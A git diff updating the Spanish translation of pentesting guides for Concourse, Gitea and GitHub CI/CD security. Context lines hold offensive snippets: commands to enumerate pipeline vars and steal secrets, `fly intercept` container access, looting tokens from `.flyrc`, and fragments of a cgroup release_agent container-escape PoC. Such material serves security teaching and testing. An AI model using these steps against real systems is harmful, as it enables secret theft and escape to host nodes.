-Para ejecutar tareas, Concourse debe tener algunos trabajadores. Estos trabajadores **se registran** a través del [TSA](https://concourse-ci.org/internals.html#component-tsa) y ejecutan los servicios [**Garden**](https://github.com/cloudfoundry-incubator/garden) y [**Baggageclaim**](https://github.com/concourse/baggageclaim). +Para ejecutar tareas, Concourse debe tener algunos trabajadores. Estos trabajadores **se registran** a través de la [TSA](https://concourse-ci.org/internals.html#component-tsa) y ejecutan los servicios [**Garden**](https://github.com/cloudfoundry-incubator/garden) y [**Baggageclaim**](https://github.com/concourse/baggageclaim). -- **Garden**: Esta es la **API de Gestión de Contenedores**, generalmente se ejecuta en **el puerto 7777** a través de **HTTP**. -- **Baggageclaim**: Esta es la **API de Gestión de Volúmenes**, generalmente se ejecuta en **el puerto 7788** a través de **HTTP**. +- **Garden**: Esta es la **API de Gestión de Contenedores**, que generalmente se ejecuta en **el puerto 7777** a través de **HTTP**. +- **Baggageclaim**: Esta es la **API de Gestión de Volúmenes**, que generalmente se ejecuta en **el puerto 7788** a través de **HTTP**. -## References +## Referencias - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html) diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 01b8ce978..c70bbb804 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -1,32 +1,32 @@ -# Concourse Enumeration & Attacks +# Concourse Enumeración y Ataques -## Concourse Enumeration & Attacks +## Concourse Enumeración y Ataques {{#include ../../banners/hacktricks-training.md}} -### User Roles & Permissions +### Roles de Usuario y Permisos Concourse viene con cinco roles: - _Concourse_ **Admin**: Este rol solo se otorga a los propietarios del **equipo principal** (equipo inicial predeterminado de concourse). Los administradores pueden **configurar otros equipos** (por ejemplo: `fly set-team`, `fly destroy-team`...). Los permisos de este rol no pueden ser afectados por RBAC. - **owner**: Los propietarios del equipo pueden **modificar todo dentro del equipo**. - **member**: Los miembros del equipo pueden **leer y escribir** dentro de los **activos del equipo** pero no pueden modificar la configuración del equipo. -- **pipeline-operator**: Los operadores de pipeline pueden realizar **operaciones de pipeline** como activar compilaciones y fijar recursos, sin embargo, no pueden actualizar las configuraciones de pipeline. +- **pipeline-operator**: Los operadores de pipeline pueden realizar **operaciones de pipeline** como activar construcciones y fijar recursos, sin embargo, no pueden actualizar las configuraciones de pipeline. - **viewer**: Los espectadores del equipo tienen acceso **"solo de lectura" a un equipo** y sus pipelines. > [!NOTE] -> Además, **los permisos de los roles owner, member, pipeline-operator y viewer pueden ser modificados** configurando RBAC (configurando más específicamente sus acciones). Lee más sobre esto en: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Además, los **permisos de los roles owner, member, pipeline-operator y viewer pueden ser modificados** configurando RBAC (configurando más específicamente sus acciones). Lee más sobre esto en: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) Ten en cuenta que Concourse **agrupa pipelines dentro de Equipos**. Por lo tanto, los usuarios que pertenecen a un Equipo podrán gestionar esos pipelines y **pueden existir varios Equipos**. Un usuario puede pertenecer a varios Equipos y tener diferentes permisos dentro de cada uno de ellos. -### Vars & Credential Manager +### Vars y Administrador de Credenciales En las configuraciones YAML puedes configurar valores usando la sintaxis `((_source-name_:_secret-path_._secret-field_))`.\ -[De la documentación:](https://concourse-ci.org/vars.html#var-syntax) El **source-name es opcional**, y si se omite, se utilizará el [gestor de credenciales a nivel de clúster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), o el valor puede ser proporcionado [estáticamente](https://concourse-ci.org/vars.html#static-vars).\ -El **\_secret-field opcional**\_ especifica un campo en el secreto obtenido para leer. Si se omite, el gestor de credenciales puede optar por leer un 'campo predeterminado' del secreto obtenido si el campo existe.\ +[De la documentación:](https://concourse-ci.org/vars.html#var-syntax) El **source-name es opcional**, y si se omite, se utilizará el [administrador de credenciales a nivel de clúster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), o el valor puede ser proporcionado [estáticamente](https://concourse-ci.org/vars.html#static-vars).\ +El **\_secret-field opcional**\_ especifica un campo en el secreto obtenido para leer. Si se omite, el administrador de credenciales puede optar por leer un 'campo predeterminado' del secreto obtenido si el campo existe.\ Además, el _**secret-path**_ y _**secret-field**_ pueden estar rodeados por comillas dobles `"..."` si **contienen caracteres especiales** como `.` y `:`. Por ejemplo, `((source:"my.secret"."field:1"))` establecerá el _secret-path_ en `my.secret` y el _secret-field_ en `field:1`. -#### Static Vars +#### Vars Estáticas Las vars estáticas pueden ser especificadas en **pasos de tareas**: ```yaml @@ -34,16 +34,16 @@ Las vars estáticas pueden ser especificadas en **pasos de tareas**: file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or usando los siguientes `fly` **argumentos**: +O usando los siguientes `fly` **argumentos**: -- `-v` o `--var` `NAME=VALUE` establece la cadena `VALUE` como el valor para la var `NAME`. -- `-y` o `--yaml-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la var `NAME`. -- `-i` o `--instance-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la var de instancia `NAME`. Consulta [Agrupación de Pipelines](https://concourse-ci.org/instanced-pipelines.html) para aprender más sobre las vars de instancia. -- `-l` o `--load-vars-from` `FILE` carga `FILE`, un documento YAML que contiene la asignación de nombres de var a valores, y los establece todos. +- `-v` o `--var` `NAME=VALUE` establece la cadena `VALUE` como el valor para la variable `NAME`. +- `-y` o `--yaml-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la variable `NAME`. +- `-i` o `--instance-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la variable de instancia `NAME`. Consulta [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) para aprender más sobre las variables de instancia. +- `-l` o `--load-vars-from` `FILE` carga `FILE`, un documento YAML que contiene la asignación de nombres de variables a valores, y los establece todos. #### Gestión de Credenciales -Hay diferentes formas en que se puede **especificar un Gestor de Credenciales** en un pipeline, lee cómo en [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ +Hay diferentes formas en que un **Gestor de Credenciales puede ser especificado** en un pipeline, lee cómo en [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ Además, Concourse admite diferentes gestores de credenciales: - [El gestor de credenciales Vault](https://concourse-ci.org/vault-credential-manager.html) @@ -54,7 +54,7 @@ Además, Concourse admite diferentes gestores de credenciales: - [El gestor de credenciales Conjur](https://concourse-ci.org/conjur-credential-manager.html) - [Credenciales en caché](https://concourse-ci.org/creds-caching.html) - [Redacción de credenciales](https://concourse-ci.org/creds-redacting.html) -- [Reintentar recuperaciones fallidas](https://concourse-ci.org/creds-retry-logic.html) +- [Reintentando fetches fallidos](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] > Ten en cuenta que si tienes algún tipo de **acceso de escritura a Concourse** puedes crear trabajos para **exfiltrar esos secretos** ya que Concourse necesita poder acceder a ellos. @@ -75,7 +75,7 @@ Para enumerar un entorno de concourse primero necesitas **reunir credenciales v - `fly -t userinfo` > [!NOTE] -> Ten en cuenta que el **token de API** se **guarda** en `$HOME/.flyrc` por defecto, al saquear una máquina podrías encontrar allí las credenciales. +> Ten en cuenta que el **token API** se **guarda** en `$HOME/.flyrc` por defecto, si estás saqueando una máquina podrías encontrar allí las credenciales. #### Equipos y Usuarios @@ -90,7 +90,7 @@ Para enumerar un entorno de concourse primero necesitas **reunir credenciales v - **Listar** pipelines: - `fly -t pipelines -a` -- **Obtener** yaml de pipeline (**información sensible** podría encontrarse en la definición): +- **Obtener** yaml del pipeline (**información sensible** podría encontrarse en la definición): - `fly -t get-pipeline -p ` - Obtener todas las **vars declaradas en la configuración del pipeline** - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` @@ -125,11 +125,11 @@ rm /tmp/secrets.txt #### Enumeración de secretos y parámetros -En la sección anterior vimos cómo puedes **obtener todos los nombres y vars de los secretos** utilizados por el pipeline. Las **vars pueden contener información sensible** y el nombre de los **secretos será útil más adelante para intentar robar**los. +En la sección anterior vimos cómo puedes **obtener todos los nombres y vars de los secretos** utilizados por el pipeline. Las **vars pueden contener información sensible** y el nombre de los **secretos será útil más adelante para intentar robarlos**. #### Sesión dentro de un contenedor en ejecución o recientemente ejecutado -Si tienes suficientes privilegios (**rol de miembro o más**) podrás **listar pipelines y roles** y simplemente obtener una **sesión dentro** del contenedor de `/` usando: +Si tienes suficientes privilegios (**rol de miembro o más**) podrás **listar pipelines y roles** y simplemente obtener una **sesión dentro** del **contenedor** `/` usando: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options @@ -170,7 +170,7 @@ Con la **modificación/creación** de un nuevo pipeline podrás: - **Robar** los **secretos** (a través de su impresión o accediendo al contenedor y ejecutando `env`) - **Escapar** al **nodo** (dándote suficientes privilegios - `privileged: true`) -- Enumerar/Abusar del **endpoint de metadatos de la nube** (desde el pod y desde el nodo) +- Enumerar/Abusar del endpoint de **metadata** de **cloud** (desde el pod y desde el nodo) - **Eliminar** el pipeline creado #### Ejecutar Tarea Personalizada @@ -199,7 +199,7 @@ fly -t tutorial execute --privileged --config task_config.yml ``` #### Escapando al nodo desde una tarea privilegiada -En las secciones anteriores vimos cómo **ejecutar una tarea privilegiada con concourse**. Esto no le dará al contenedor exactamente el mismo acceso que la bandera privilegiada en un contenedor de docker. Por ejemplo, no verá el dispositivo del sistema de archivos del nodo en /dev, por lo que la escapatoria podría ser más "compleja". +En las secciones anteriores vimos cómo **ejecutar una tarea privilegiada con concourse**. Esto no le dará al contenedor exactamente el mismo acceso que la bandera privilegiada en un contenedor docker. Por ejemplo, no verá el dispositivo del sistema de archivos del nodo en /dev, por lo que la escapatoria podría ser más "compleja". En la siguiente PoC vamos a usar el release_agent para escapar con algunas pequeñas modificaciones: ```bash @@ -291,7 +291,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` -#### Escapando al nodo desde el contenedor web +#### Escapando al nodo desde el contenedor Web Incluso si el contenedor web tiene algunas defensas deshabilitadas, **no se está ejecutando como un contenedor privilegiado común** (por ejemplo, **no puedes** **montar** y las **capacidades** son muy **limitadas**, por lo que todas las formas fáciles de escapar del contenedor son inútiles). @@ -330,11 +330,11 @@ select * from users; #### Abusando del Servicio Garden - No es un Ataque Real > [!WARNING] -> Estas son solo algunas notas interesantes sobre el servicio, pero dado que solo está escuchando en localhost, estas notas no presentarán ningún impacto que no hayamos explotado antes. +> Estas son solo algunas notas interesantes sobre el servicio, pero dado que solo está escuchando en localhost, estas notas no presentarán ningún impacto que no hayamos explotado ya antes. -Por defecto, cada trabajador de concourse estará ejecutando un servicio [**Garden**](https://github.com/cloudfoundry/garden) en el puerto 7777. Este servicio es utilizado por el maestro web para indicar al trabajador **lo que necesita ejecutar** (descargar la imagen y ejecutar cada tarea). Esto suena bastante bien para un atacante, pero hay algunas buenas protecciones: +Por defecto, cada trabajador de concourse estará ejecutando un [**Garden**](https://github.com/cloudfoundry/garden) en el puerto 7777. Este servicio es utilizado por el maestro web para indicar al trabajador **lo que necesita ejecutar** (descargar la imagen y ejecutar cada tarea). Esto suena bastante bien para un atacante, pero hay algunas buenas protecciones: -- Está **expuesto localmente** (127..0.0.1) y creo que cuando el trabajador se autentica contra la Web con el servicio SSH especial, se crea un túnel para que el servidor web pueda **hablar con cada servicio Garden** dentro de cada trabajador. +- Está **expuesto localmente** (127..0.0.1) y creo que cuando el trabajador se autentica contra la web con el servicio SSH especial, se crea un túnel para que el servidor web pueda **hablar con cada servicio Garden** dentro de cada trabajador. - El servidor web está **monitoreando los contenedores en ejecución cada pocos segundos**, y los contenedores **inesperados** son **eliminados**. Así que si quieres **ejecutar un contenedor personalizado** necesitas **manipular** la **comunicación** entre el servidor web y el servicio garden. Los trabajadores de Concourse se ejecutan con altos privilegios de contenedor: @@ -353,7 +353,7 @@ Sin embargo, técnicas como **montar** el dispositivo /dev del nodo o release_ag > [!NOTE] > En la sección anterior vimos cómo escapar de un contenedor privilegiado, así que si podemos **ejecutar** comandos en un **contenedor privilegiado** creado por el **trabajador** **actual**, podríamos **escapar al nodo**. -Ten en cuenta que al jugar con concourse noté que cuando se genera un nuevo contenedor para ejecutar algo, los procesos del contenedor son accesibles desde el contenedor del trabajador, por lo que es como si un contenedor creara un nuevo contenedor dentro de él. +Ten en cuenta que al jugar con concourse noté que cuando se genera un nuevo contenedor para ejecutar algo, los procesos del contenedor son accesibles desde el contenedor del trabajador, así que es como si un contenedor estuviera creando un nuevo contenedor dentro de él. **Entrando en un contenedor privilegiado en ejecución** ```bash diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 315c60137..53df98984 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -17,7 +17,7 @@ Puedes descargar la línea de comandos `fly` para tu sistema operativo desde la #### Con Kubernetes (Recomendado) -Puedes desplegar concourse fácilmente en **Kubernetes** (en **minikube** por ejemplo) usando el helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). +Puedes desplegar fácilmente concourse en **Kubernetes** (en **minikube** por ejemplo) utilizando el helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -75,17 +75,17 @@ Un pipeline está compuesto por una lista de [Jobs](https://concourse-ci.org/job Se pueden utilizar varios tipos diferentes de pasos: -- **el** [**paso `task`**](https://concourse-ci.org/task-step.html) **ejecuta una** [**tarea**](https://concourse-ci.org/tasks.html) +- **el** [**`task` step**](https://concourse-ci.org/task-step.html) **ejecuta una** [**tarea**](https://concourse-ci.org/tasks.html) - el [`get` step](https://concourse-ci.org/get-step.html) obtiene un [recurso](https://concourse-ci.org/resources.html) - el [`put` step](https://concourse-ci.org/put-step.html) actualiza un [recurso](https://concourse-ci.org/resources.html) - el [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configura un [pipeline](https://concourse-ci.org/pipelines.html) - el [`load_var` step](https://concourse-ci.org/load-var-step.html) carga un valor en una [var local](https://concourse-ci.org/vars.html#local-vars) - el [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) ejecuta pasos en paralelo - el [`do` step](https://concourse-ci.org/do-step.html) ejecuta pasos en secuencia -- el modificador de paso [`across`](https://concourse-ci.org/across-step.html#schema.across) ejecuta un paso múltiples veces; una vez por cada combinación de valores de variable +- el modificador [`across` step](https://concourse-ci.org/across-step.html#schema.across) ejecuta un paso múltiples veces; una vez por cada combinación de valores de variable - el [`try` step](https://concourse-ci.org/try-step.html) intenta ejecutar un paso y tiene éxito incluso si el paso falla -Cada [step](https://concourse-ci.org/steps.html) en un [plan de trabajo](https://concourse-ci.org/jobs.html#schema.job.plan) se ejecuta en su **propio contenedor**. Puedes ejecutar lo que desees dentro del contenedor _(es decir, ejecutar mis pruebas, ejecutar este script bash, construir esta imagen, etc.)_. Así que si tienes un trabajo con cinco pasos, Concourse creará cinco contenedores, uno para cada paso. +Cada [step](https://concourse-ci.org/steps.html) en un [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) se ejecuta en su **propio contenedor**. Puedes ejecutar lo que desees dentro del contenedor _(es decir, ejecutar mis pruebas, ejecutar este script bash, construir esta imagen, etc.)_. Así que si tienes un trabajo con cinco pasos, Concourse creará cinco contenedores, uno para cada paso. Por lo tanto, es posible indicar el tipo de contenedor en el que cada paso necesita ser ejecutado. @@ -138,6 +138,6 @@ No necesitas activar los trabajos manualmente cada vez que necesites ejecutarlos - Nuevas PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) - Obtener o enviar la última imagen de tu aplicación: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -Consulta un ejemplo de tubería YAML que se activa con nuevos commits a master en [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +Consulta un ejemplo de tubería YAML que se activa con nuevos commits en master en [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index dd9eec7e7..6d225e230 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -1,10 +1,10 @@ -# Gitea Security +# Seguridad de Gitea {{#include ../../banners/hacktricks-training.md}} -## Qué es Gitea +## ¿Qué es Gitea? -**Gitea** es una **solución de alojamiento de código ligera gestionada por la comunidad y autoalojada** escrita en Go. +**Gitea** es una solución de **hosting de código ligero gestionada por la comunidad y autoalojada** escrita en Go. ![](<../../images/image (160).png>) @@ -20,9 +20,9 @@ Para ejecutar una instancia de Gitea localmente, solo puedes ejecutar un contene ```bash docker run -p 3000:3000 gitea/gitea ``` -Conéctate al puerto 3000 para acceder a la página web. +Conéctese al puerto 3000 para acceder a la página web. -También podrías ejecutarlo con kubernetes: +También podría ejecutarlo con kubernetes: ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea @@ -33,7 +33,7 @@ helm install gitea gitea-charts/gitea - Usuarios registrados: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) - Organizaciones registradas: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -Ten en cuenta que por **defecto Gitea permite que nuevos usuarios se registren**. Esto no dará un acceso especialmente interesante a los nuevos usuarios sobre otros repos de organizaciones/usuarios, pero un **usuario autenticado** podría **visualizar más repos u organizaciones**. +Ten en cuenta que por **defecto Gitea permite que nuevos usuarios se registren**. Esto no dará un acceso especialmente interesante a los nuevos usuarios sobre los repos de otras organizaciones/usuarios, pero un **usuario autenticado** podría **visualizar más repos u organizaciones**. ## Explotación Interna @@ -50,7 +50,7 @@ Ten en cuenta que **se puede usar 2FA** así que solo podrás acceder a esta inf ### Con Clave SSH de Usuario -Gitea permite a **los usuarios** establecer **claves SSH** que se utilizarán como **método de autenticación para desplegar código** en su nombre (no se aplica 2FA). +Gitea permite a los **usuarios** establecer **claves SSH** que se utilizarán como **método de autenticación para desplegar código** en su nombre (no se aplica 2FA). Con esta clave puedes realizar **cambios en repositorios donde el usuario tiene algunos privilegios**, sin embargo, no puedes usarla para acceder a la API de gitea para enumerar el entorno. Sin embargo, puedes **enumerar configuraciones locales** para obtener información sobre los repos y el usuario al que tienes acceso: ```bash @@ -91,7 +91,7 @@ En Github tenemos **github actions** que por defecto obtienen un **token con acc - **Habilitar Push**: Si alguien con acceso de escritura puede hacer push a la rama, simplemente haz push a ella. - **Whitelist Restricted Push**: De la misma manera, si eres parte de esta lista haz push a la rama. - **Habilitar Merge Whitelist**: Si hay una lista blanca de merges, necesitas estar dentro de ella. -- **Requerir aprobaciones es mayor que 0**: Entonces... necesitas comprometer a otro usuario. +- **Requerir aprobaciones mayores que 0**: Entonces... necesitas comprometer a otro usuario. - **Restringir aprobaciones a los que están en la lista blanca**: Si solo los usuarios en la lista blanca pueden aprobar... necesitas comprometer a otro usuario que esté dentro de esa lista. - **Desestimar aprobaciones obsoletas**: Si las aprobaciones no se eliminan con nuevos commits, podrías secuestrar un PR ya aprobado para inyectar tu código y fusionar el PR. diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index cfcc0bb1a..554cc2d8c 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -16,29 +16,29 @@ Y finalmente, **los repositorios pueden tener mecanismos de protección especial ### Organizaciones -Cuando se **crea una organización**, se crea un equipo llamado **Owners** y el usuario se coloca dentro de él. Este equipo dará **acceso de administrador** sobre la **organización**, esos **permisos** y el **nombre** del equipo **no pueden ser modificados**. +Cuando se **crea una organización**, se crea un equipo llamado **Owners** y el usuario se coloca dentro de él. Este equipo otorgará **acceso de administrador** sobre la **organización**, esos **permisos** y el **nombre** del equipo **no pueden ser modificados**. -**Los administradores de la organización** (propietarios) pueden seleccionar la **visibilidad** de la organización: +**Org admins** (propietarios) pueden seleccionar la **visibilidad** de la organización: - Pública - Limitada (solo usuarios registrados) - Privada (solo miembros) -**Los administradores de la organización** también pueden indicar si los **administradores de repos** pueden **agregar o eliminar acceso** para equipos. También pueden indicar el número máximo de repos. +**Org admins** también pueden indicar si los **repo admins** pueden **agregar o eliminar acceso** para equipos. También pueden indicar el número máximo de repos. Al crear un nuevo equipo, se seleccionan varias configuraciones importantes: - Se indica los **repos de la org a los que los miembros del equipo podrán acceder**: repos específicos (repos donde se agrega el equipo) o todos. - También se indica **si los miembros pueden crear nuevos repos** (el creador obtendrá acceso de administrador a él) -- Los **permisos** que los **miembros** del repos **tendrán**: -- Acceso **Administrador** +- Los **permisos** que los **miembros** del repos tendrán: +- Acceso de **Administrador** - Acceso **Específico**: ![](<../../images/image (118).png>) ### Equipos y Usuarios -En un repositorio, el **administrador de la org** y los **administradores de repos** (si lo permite la org) pueden **gestionar los roles** otorgados a colaboradores (otros usuarios) y equipos. Hay **3** posibles **roles**: +En un repositorio, el **org admin** y los **repo admins** (si lo permite la org) pueden **gestionar los roles** otorgados a colaboradores (otros usuarios) y equipos. Hay **3** posibles **roles**: - Administrador - Escribir @@ -52,11 +52,11 @@ Usando **nombre de usuario + contraseña** y potencialmente (y recomendado) un 2 ### **Claves SSH** -Puedes configurar tu cuenta con una o varias claves públicas que permiten que la clave **privada relacionada realice acciones en tu nombre.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +Puedes configurar tu cuenta con una o varias claves públicas que permiten que la **clave privada relacionada realice acciones en tu nombre.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) #### **Claves GPG** -No **puedes suplantar al usuario con estas claves**, pero si no las usas, podría ser posible que **se descubra que envías commits sin una firma**. +No **puedes suplantar al usuario con estas claves** pero si no las usas, podría ser posible que **se descubra que envías commits sin una firma**. ### **Tokens de Acceso Personal** @@ -64,7 +64,7 @@ Puedes generar un token de acceso personal para **dar acceso a una aplicación a ### Aplicaciones Oauth -Al igual que los tokens de acceso personal, las **aplicaciones Oauth** tendrán **acceso completo** a tu cuenta y a los lugares a los que tu cuenta tiene acceso porque, como se indica en la [documentación](https://docs.gitea.io/en-us/oauth2-provider/#scopes), los alcances aún no son compatibles: +Al igual que los tokens de acceso personal, las **aplicaciones Oauth** tendrán **acceso completo** a tu cuenta y a los lugares a los que tu cuenta tiene acceso porque, como se indica en la [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), los scopes aún no son compatibles: ![](<../../images/image (194).png>) @@ -98,6 +98,6 @@ Se pueden aplicar diferentes protecciones a una rama (como a master): - **Patrones de archivos protegidos/no protegidos**: Indica patrones de archivos para proteger/no proteger contra cambios > [!NOTE] -> Como puedes ver, incluso si lograste obtener algunas credenciales de un usuario, **los repos pueden estar protegidos evitando que empujes código a master**, por ejemplo, para comprometer el pipeline de CI/CD. +> Como puedes ver, incluso si lograste obtener algunas credenciales de un usuario, **los repos pueden estar protegidos evitando que empujes código a master** por ejemplo para comprometer el pipeline de CI/CD. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 558038758..b5b534a7b 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -4,7 +4,7 @@ ## Qué es Github -(De [aquí](https://kinsta.com/knowledgebase/what-is-github/)) A un alto nivel, **GitHub es un sitio web y un servicio basado en la nube que ayuda a los desarrolladores a almacenar y gestionar su código, así como a rastrear y controlar los cambios en su código**. +(Desde [aquí](https://kinsta.com/knowledgebase/what-is-github/)) A un alto nivel, **GitHub es un sitio web y un servicio basado en la nube que ayuda a los desarrolladores a almacenar y gestionar su código, así como a rastrear y controlar los cambios en su código**. ### Información Básica @@ -36,7 +36,7 @@ Herramientas (cada herramienta contiene su lista de dorks): Por favor, ten en cuenta que los github dorks también están destinados a buscar filtraciones utilizando las opciones de búsqueda de github. Esta sección está dedicada a aquellas herramientas que **descargarán cada repositorio y buscarán información sensible en ellos** (incluso revisando cierta profundidad de commits). -Herramientas (cada herramienta contiene su lista de regex): +Herramientas (cada herramienta contiene su lista de regexes): - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -70,11 +70,11 @@ Hay algunos **privilegios predeterminados** que se pueden asignar a los **miembr - **Permisos base**: Los miembros tendrán el permiso Ninguno/Leer/escribir/Administrar sobre los repositorios de la organización. Se recomienda **Ninguno** o **Leer**. - **Forking de repositorios**: Si no es necesario, es mejor **no permitir** que los miembros hagan forks de los repositorios de la organización. - **Creación de páginas**: Si no es necesario, es mejor **no permitir** que los miembros publiquen páginas desde los repositorios de la organización. Si es necesario, puedes permitir crear páginas públicas o privadas. -- **Solicitudes de acceso a integraciones**: Con esto habilitado, los colaboradores externos podrán solicitar acceso para aplicaciones de GitHub o OAuth para acceder a esta organización y sus recursos. Generalmente es necesario, pero si no, es mejor deshabilitarlo. +- **Solicitudes de acceso a integraciones**: Con esto habilitado, los colaboradores externos podrán solicitar acceso para aplicaciones de GitHub u OAuth para acceder a esta organización y sus recursos. Generalmente es necesario, pero si no, es mejor deshabilitarlo. - _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_ -- **Cambio de visibilidad del repositorio**: Si está habilitado, los **miembros** con permisos de **administrador** para el **repositorio** podrán **cambiar su visibilidad**. Si está deshabilitado, solo los propietarios de la organización pueden cambiar las visibilidades de los repositorios. Si **no** quieres que la gente haga cosas **públicas**, asegúrate de que esto esté **deshabilitado**. +- **Cambio de visibilidad del repositorio**: Si está habilitado, los **miembros** con permisos **administrativos** para el **repositorio** podrán **cambiar su visibilidad**. Si está deshabilitado, solo los propietarios de la organización pueden cambiar las visibilidades de los repositorios. Si **no** quieres que las personas hagan cosas **públicas**, asegúrate de que esto esté **deshabilitado**. - _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_ -- **Eliminación y transferencia de repositorios**: Si está habilitado, los miembros con permisos de **administrador** para el repositorio podrán **eliminar** o **transferir** **repositorios** públicos y privados. +- **Eliminación y transferencia de repositorios**: Si está habilitado, los miembros con permisos **administrativos** para el repositorio podrán **eliminar** o **transferir** repositorios **públicos y privados**. - _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_ - **Permitir a los miembros crear equipos**: Si está habilitado, cualquier **miembro** de la organización podrá **crear** nuevos **equipos**. Si está deshabilitado, solo los propietarios de la organización pueden crear nuevos equipos. Es mejor tener esto deshabilitado. - _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_ @@ -87,13 +87,13 @@ Varios ajustes relacionados con la seguridad se pueden configurar para acciones > [!NOTE] > Ten en cuenta que todas estas configuraciones también se pueden establecer en cada repositorio de forma independiente. -- **Políticas de acciones de Github**: Permite indicar qué repositorios pueden ejecutar flujos de trabajo y qué flujos de trabajo deben ser permitidos. Se recomienda **especificar qué repositorios** deben ser permitidos y no permitir que todas las acciones se ejecuten. +- **Políticas de acciones de Github**: Te permite indicar qué repositorios pueden ejecutar flujos de trabajo y qué flujos de trabajo deben ser permitidos. Se recomienda **especificar qué repositorios** deben ser permitidos y no permitir que todas las acciones se ejecuten. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) - **Flujos de trabajo de solicitudes de extracción de forks de colaboradores externos**: Se recomienda **requerir aprobación para todos** los colaboradores externos. - _No pude encontrar una API con esta información, comparte si lo haces_ -- **Ejecutar flujos de trabajo desde solicitudes de extracción de forks**: Es **altamente desaconsejado ejecutar flujos de trabajo desde solicitudes de extracción** ya que los mantenedores del fork de origen tendrán la capacidad de usar tokens con permisos de lectura en el repositorio fuente. +- **Ejecutar flujos de trabajo desde solicitudes de extracción de forks**: Es **muy desaconsejado ejecutar flujos de trabajo desde solicitudes de extracción** ya que los mantenedores del fork de origen tendrán la capacidad de usar tokens con permisos de lectura en el repositorio fuente. - _No pude encontrar una API con esta información, comparte si lo haces_ -- **Permisos de flujo de trabajo**: Se recomienda **dar solo permisos de lectura de repositorio**. Se desaconseja dar permisos de escritura y crear/aprobar solicitudes de extracción para evitar el abuso del GITHUB_TOKEN dado a los flujos de trabajo en ejecución. +- **Permisos de flujo de trabajo**: Se recomienda **dar solo permisos de lectura del repositorio**. Se desaconseja dar permisos de escritura y crear/aprobar solicitudes de extracción para evitar el abuso del GITHUB_TOKEN dado a los flujos de trabajo en ejecución. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integraciones @@ -116,7 +116,7 @@ Ten en cuenta que **se puede usar 2FA**, por lo que solo podrás acceder a esta > [!NOTE] > Ten en cuenta que si **logras robar la cookie `user_session`** (actualmente configurada con SameSite: Lax) puedes **suplantar completamente al usuario** sin necesidad de credenciales o 2FA. -Consulta la sección a continuación sobre [**elusión de protecciones de ramas**](./#branch-protection-bypass) en caso de que sea útil. +Consulta la sección a continuación sobre [**eliminaciones de protección de ramas**](./#branch-protection-bypass) 